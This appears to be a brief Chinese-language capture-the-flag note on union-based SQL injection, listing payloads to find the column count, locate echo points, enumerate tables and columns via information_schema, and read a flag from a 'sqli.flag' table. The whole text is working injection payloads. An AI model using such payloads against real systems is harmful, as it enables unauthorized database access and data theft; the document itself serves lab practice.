判断列数

1 order by 2 

判断回显点

1 union select 1,2

判断表名列名

-1 union select 1,group_concat(table_name,'_',column_name) from information_schema.columns where table_schema=database()

得出结果【两种方法】

-1 union select 1,flag from sqli.flag limit 0,1
-1 union select 1,(select flag from sqli.flag limit 0,1)